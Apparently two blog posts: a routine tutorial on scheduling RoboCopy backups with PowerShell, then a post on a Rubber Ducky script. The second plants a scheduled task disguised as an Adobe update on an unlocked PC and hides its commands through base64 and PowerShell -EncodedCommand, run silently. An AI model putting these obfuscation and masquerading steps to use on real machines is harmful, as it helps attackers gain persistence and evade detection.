Automating backups with RoboCopy and PowerShell

Backups are important and you should live by the 3-2-1 rule.

That is: 3 copies of a file; 2 copies on site, 1 copy off site

Backups should be automatic where possible. If you are manually backing up data, there is a good chance data wont get backed up as often as you hoped.

You should also test your backups regularly!

RoboCopy, short for “Robust File Copy”, is a command line utility included within Windows. It can be used to create backups of files and directories. There are many tools and programs for backing up data, but sometimes the free tools that come with the operating system are all you need.

We are going to backup files from an internal hard drive onto an external hard drive that is always plugged in. This will work well for hard drive failure, but wont be a great backup against ransomware.

Automating tasks is great for productivity. Especially if you can reuse scripts from other tasks.

To get started, first open PowerShell as an administrator. We need to create a folder to store our basic script. In your PowerShell window enter the following command:

New-Item -Path "c:\" -Name "scripts" -ItemType "directory"

And now change into the new directory:

cd c:\scripts\

Now we are going to create the batch file to run RoboCopy. Do that with the following commands:

New-Item -Name "backup.bat" -ItemType "file"
Add-Content -Path .\backup.bat -Value "robocopy D:\ E:\ /B /MIR"

We have now created a script to backup drive D to drive E – of course you may need to adjust drive letters to suit your system.

RoboCopy with copy drive D to drive E using backup mode. This allows RoboCopy to override the file and folder permissions that may prevent a file being copied. MIR copies the complete directory tree. This keeps the second drive as an exact mirror of the first.

Now we want to make sure this script runs daily. We can do that using PowerShell to configure a scheduled task. Enter the following commands:

$action = New-ScheduledTaskAction -Execute 'cmd.exe' -Argument '/c start "" "C:\scripts\backup.bat'
$trigger = New-ScheduledTaskTrigger -Daily -At 1pm
$principal = New-ScheduledTaskPrincipal -LogonType S4U

You will be asked to enter the username for the Administrator account, then follow on with the next command:

Register-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -TaskName "Backup D Drive" -Description "Daily Backup of Drive D"

You now have a scheduled task that copies the content of drive D to drive E every day at 1pm – leaving you more time to browse my blog!

Obfuscating PowerShell Commands

I recently wrote a Ducky Script that creates a scheduled task upon plugging a Rubber Ducky into an unlocked PC. While the script is successful, I find it gives away too many clues as to what the script is doing.

PowerShell commands can be obfuscated using base64. These commands can be submitted to PowerShell using the the EncodedCommands parameter. While designed to be used to submit commands to PowerShell that require complex quotation marks or curly braces, it can also be used in an attempt to hide what commands a script is running.

The PowerShell commands my Ducky Script runs are as follows:

$action = New-ScheduledTaskAction -Execute 'wlrmdr.exe' -Argument " -s 60000 -f 1 -t You've Been Pwned! -m Remember that USB you plugged in? Pepperidge Farm Remembers. -a o"

$trigger = New-ScheduledTaskTrigger -Daily -At 3:14pm

Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Adobe Acrobat Update Tusk" -Description "This task doesn't keep your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes"

This is a benign script that will remind the victim daily that they plugged in an unknown USB stick. I also had the scheduled task kind of hide itself as the Adobe Reader Update Task in an attempt to avoid being discovered later on.

Before getting started, PowerShell will need to know that it is to run all these commands together. This can be done using a semicolin (;). Simply put a semicolon between each command like so:

$action = New-ScheduledTaskAction -Execute 'wlrmdr.exe' -Argument " -s 60000 -f 1 -t You've Been Pwned! -m Remember that USB you plugged in? Pepperidge Farm Remembers. -a o";$trigger = New-ScheduledTaskTrigger -Daily -At 3:14pm;Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Adobe Acrobat Update Tusk" -Description "This task doesn't keep your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes"

To convert the commands to base64, add the commands to a variable with a name of your choice. It my case I’ve gone with $EncodeText. It will also be important to use the backtick on the variables and some of the quotations.

$EncodeText = "`$action = New-ScheduledTaskAction -Execute 'wlrmdr.exe' -Argument `" -s 60000 -f 1 -t You've Been Pwned! -m Remember that USB you plugged in? Pepperidge Farm Remembers. -a o`";`$trigger = New-ScheduledTaskTrigger -Daily -At 3:14pm;Register-ScheduledTask -Action `$action -Trigger `$trigger -TaskName `"Adobe Acrobat Update Tusk`" -Description `"This task doesn't keep your Adobe Reader and Acrobat applications up to date with the latest enhancements and security fixes`""

The commands can now be encoded in base64 by running the following command:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($EncodeText))

The base64 text will be displayed on the screen.

JABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHcAbAByAG0AZAByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAIgAgAC0AcwAgADYAMAAwADAAMAAgAC0AZgAgADEAIAAtAHQAIABZAG8AdQAnAHYAZQAgAEIAZQBlAG4AIABQAHcAbgBlAGQAIQAgAC0AbQAgAFIAZQBtAGUAbQBiAGUAcgAgAHQAaABhAHQAIABVAFMAQgAgAHkAbwB1ACAAcABsAHUAZwBnAGUAZAAgAGkAbgA/ACAAUABlAHAAcABlAHIAaQBkAGcAZQAgAEYAYQByAG0AIABSAGUAbQBlAG0AYgBlAHIAcwAuACAALQBhACAAbwAiADsAJAB0AHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgADMAOgAxADQAcABtADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAYwB0AGkAbwBuACAALQBUAHIAaQBnAGcAZQByACAAJAB0AHIAaQBnAGcAZQByACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEEAZABvAGIAZQAgAEEAYwByAG8AYgBhAHQAIABVAHAAZABhAHQAZQAgAFQAdQBzAGsAIgAgAC0ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIgBUAGgAaQBzACAAdABhAHMAawAgAGQAbwBlAHMAbgAnAHQAIABrAGUAZQBwACAAeQBvAHUAcgAgAEEAZABvAGIAZQAgAFIAZQBhAGQAZQByACAAYQBuAGQAIABBAGMAcgBvAGIAYQB0ACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAHMAIAB1AHAAIAB0AG8AIABkAGEAdABlACAAdwBpAHQAaAAgAHQAaABlACAAbABhAHQAZQBzAHQAIABlAG4AaABhAG4AYwBlAG0AZQBuAHQAcwAgAGEAbgBkACAAcwBlAGMAdQByAGkAdAB5ACAAZgBpAHgAZQBzACIA

This can now be fed into PowerShell using the EncodedCommand parameter. You can pipe the command to Out-Null to have the command run without any output:

PowerShell -EncodedCommand JABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHcAbAByAG0AZAByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAIgAgAC0AcwAgADYAMAAwADAAMAAgAC0AZgAgADEAIAAtAHQAIABZAG8AdQAnAHYAZQAgAEIAZQBlAG4AIABQAHcAbgBlAGQAIQAgAC0AbQAgAFIAZQBtAGUAbQBiAGUAcgAgAHQAaABhAHQAIABVAFMAQgAgAHkAbwB1ACAAcABsAHUAZwBnAGUAZAAgAGkAbgA/ACAAUABlAHAAcABlAHIAaQBkAGcAZQAgAEYAYQByAG0AIABSAGUAbQBlAG0AYgBlAHIAcwAuACAALQBhACAAbwAiADsAJAB0AHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBEAGEAaQBsAHkAIAAtAEEAdAAgADMAOgAxADQAcABtADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAkAGEAYwB0AGkAbwBuACAALQBUAHIAaQBnAGcAZQByACAAJAB0AHIAaQBnAGcAZQByACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEEAZABvAGIAZQAgAEEAYwByAG8AYgBhAHQAIABVAHAAZABhAHQAZQAgAFQAdQBzAGsAIgAgAC0ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIgBUAGgAaQBzACAAdABhAHMAawAgAGQAbwBlAHMAbgAnAHQAIABrAGUAZQBwACAAeQBvAHUAcgAgAEEAZABvAGIAZQAgAFIAZQBhAGQAZQByACAAYQBuAGQAIABBAGMAcgBvAGIAYQB0ACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAHMAIAB1AHAAIAB0AG8AIABkAGEAdABlACAAdwBpAHQAaAAgAHQAaABlACAAbABhAHQAZQBzAHQAIABlAG4AaABhAG4AYwBlAG0AZQBuAHQAcwAgAGEAbgBkACAAcwBlAGMAdQByAGkAdAB5ACAAZgBpAHgAZQBzACIA | Out-Null

You can now run Obfuscated PowerShell Commands the way your inner PowerShell Ninja intended.

Check out the Ducky Script on GitHub!